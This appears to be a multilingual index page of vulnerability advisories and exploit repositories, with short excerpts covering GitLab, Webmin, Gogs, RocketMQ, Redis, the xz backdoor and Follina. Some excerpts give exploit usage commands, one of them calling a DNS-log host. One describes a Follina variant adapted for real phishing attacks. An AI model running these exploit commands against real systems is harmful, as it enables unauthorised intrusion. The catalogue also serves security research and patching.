EUVD-2026-87326

GestSup versions before 3.2.61 contain a remote code execution vulnerability in the basic IMAP connector's attachment handling that fails to skip blocked file extensions. Unauthenticated attackers can send emails with PHP attachments to monitored mailboxes, which are written to the web-accessible...

spring-shell-vuln

spring-shell-vuln Spring4Shell: vulnerabilidad RCE en Spring core Spring ha confirmado la RCE en Spring Framework. El equipo acaba de publicar la declaración junto con las guías de mitigación para el problema. Ahora, esta vulnerabilidad puede rastrearse como CVE-2022-22965. Se ha compartido...

CVE-2024-28515

CVE-2024-28515 Descripción Vulnerabilidad de desbordamiento de búfer en CSAPPLab CSAPP Lab3 15-213 Fall 20xx permite a un atacante remoto ejecutar código arbitrario a través del componente lab3 de csapp,lab3/buflab-update.pl. Información adicional CNVD ha completado la verificación de esta...

CVE-2021-22205

CVE-2021-22205 Versiones afectadas: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Uso root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Obtener csrf-token: Obtenga el csrf-token a través de /users/signin y luego use el PoC CVE-2021-22205 anterior para construir...

CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC Este repositorio contiene una Prueba de Concepto para la vulnerabilidad CVE-2023-50564 en Pluck CMS versión 4.7.18 Descripción CVE-2023-50564 es una vulnerabilidad que permite la subida no autorizada de archivos en Pluck CMS versión 4.7.18. Este exploit aprovecha una falla en l...

CVE-2025-49844

🚨 CVE-2025-49844 — “RediShell” 全球最快内存存储中的严重远程代码执行漏洞 Redis Lua 脚本执行区域现已成为认证后的完美着陆点。 经过认证的攻击者 → 精心构造的 Lua 脚本 → 逃逸沙箱 → 在宿主机上实现完全 RCE ⚠️ 概述 CVE-2025-49844 （“RediShell ”）是 Redis 嵌入式 Lua 脚本引擎中一个严重的释放后使用（UAF）内存破坏漏洞 。 一个经过认证的 用户通过 EVAL/EVALSHA 提交一个精心构造的 Lua 脚本，该脚本操纵垃圾收集器，在解析/执行过程中触发 UAF，逃逸 Lua...

unbound: Unbound: Heap buffer overflow and possible Remote Code Execution when digesting DNSKEY

A flaw was found in Unbound's DNSSEC validator. A remote attacker can exploit this vulnerability by controlling a malicious zone and sending a specially crafted DNSKEY record. This can lead to a heap buffer overflow, potentially resulting in a denial of service or remote code execution...

Critical: Red Hat Security Advisory: unbound security update

An update for unbound is now available for Red Hat Enterprise Linux 8.6 Advanced Mission Critical Update Support and Red Hat Enterprise Linux 8.6 Extended Update Support Long-Life Add-On. Red Hat Product Security has rated this update as having a security impact of Critical. A Common Vulnerabilit...

threat-intel-cve-2024-3094

威胁情报报告：CVE-2024-3094 – XZ Utils后门 该仓库包含一份威胁情报报告，分析了CVE-2024-3094 ——2024年在xz-utils压缩工具中发现的一个备受关注的后门漏洞。 CVE-2024-3094 是一个严重的供应链妥协事件，恶意后门被插入到xz压缩库中，影响了特定版本（5.6.0和5.6.1）。该后门通过systemd允许SSH认证中的远程代码执行，对Linux系统构成严重风险。 漏洞编号 : CVE-2024-3094 严重性 : 严重 CVSS: 10.0 受影响软件 : xz-utils 5.6.0 和 5.6.1 利用方法 :...

CVE-2025-48799-

CVE-2025-48799 – Apache Tomcat Ejecución Remota de Código PoC Este repositorio contiene un exploit de prueba de concepto para CVE-2025-48799, una vulnerabilidad de ejecución remota de código descubierta en Apache Tomcat 9.0.48. El fallo se debe a un desbordamiento de enteros en el analizador de...

CVE-2008-4687-exploit

CVE-2008-4687-exploit Exploit rápido y sucio en Python para CVE-2008-4687. Descripción por NIST: manageprojpage.php en Mantis anterior a 1.1.4 permite a usuarios autenticados remotos ejecutar código arbitrario a través de un parámetro sort que contiene secuencias PHP, las cuales son procesadas po...

CVE-2024-24919

Check Point Security Gateway RCE Exploit Tool CVE-2024-24919 Resumen Este repositorio contiene una herramienta para explotar la vulnerabilidad CVE-2024-24919 en Check Point Security Gateways. La herramienta es un multi-escáner que puede identificar dispositivos vulnerables y un exploit de un solo...

CVE-2025-55182

RSC Detector - Escáner de vulnerabilidades de React Server Components Un escáner de seguridad basado en Python para detectar y explotar vulnerabilidades de React Server Components RSC en aplicaciones Next.js. Esta herramienta realiza detección pasiva, fingerprinting activo y pruebas de explotació...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107 webmin python3编写 用法python CVE-2019-15107.py https://172.16.20.134:10000 whoami...

gogsownz

GogsOwnz GogsOwnz 是一个简单的脚本，用于在 Gogs/Gitea 服务器上获取管理员权限和远程代码执行（RCE）。 利用 Gogs/Gitea 的漏洞，包括 CVE-2018-18925 、CVE-2018-20303 。 法律免责声明 本脚本按原样提供，无任何担保，请自行使用并遵守法律。 典型用法 - 请阅读完整用法 获取正在运行的 Gogs/Gitea 信息 root@kitploit: python3 gogsownz.py https://127.0.0.1:3000/ -v --info 利用预授权权限提升（PrivEsc） root@kitploit:...

CVE-2023-38646

CVE-2023-38646 PoC Descripción Este es un script de Prueba de Concepto PoC para explotar Metabase, una herramienta de inteligencia empresarial y análisis de datos de código abierto. Metabase permite a los usuarios visualizar e interactuar con sus datos, lo que la convierte en una potente platafor...

CVE-2025-55182-realistic-poc

CVE-2025-55182: Ejecución remota de código en React Server Components Una prueba de concepto mínima que demuestra la vulnerabilidad crítica de ejecución remota de código en [email protected]. ¿Qué es CVE-2025-55182? Una vulnerabilidad de RCE sin autenticación previa en React Server Component...

CVE-2024-21413

CVE-2024-21413 - PoC del Script Expect Vulnerabilidad de fuga de credenciales y ejecución remota de código en Microsoft Outlook cuando se combina con CVE-2023-21716 a través del panel de vista previa CVSS:3.1 9.8 / 8.5 Outlook debería advertirle sobre el riesgo de abrir un enlace externo = pero n...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ 远程代码执行漏洞CVE-2023-33246 Exploit 使用方法: java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "open -a calculator" 免责声明: 检测工具仅供各大安全公司的安全测试员安全测试使用。未经允许请勿对任何外部计算机系统进行入侵攻击，不得用于任何非授权形式的安全测试。仅提供技术交流，不对工具造成任何理论上的或实际上的损失承担责任。...

CVE-2022-30190-follina-Office-MSDT-Fixed

'Follina' MS-MSDT n-day Microsoft Office RCE—Versión modificada Modificado a partir del proyecto en https://github.com/chvancooten/follina.py, permite personalizar el archivo de plantilla docx, facilitando su uso en ataques de phishing en escenarios reales. Después de editar tu propio documento d...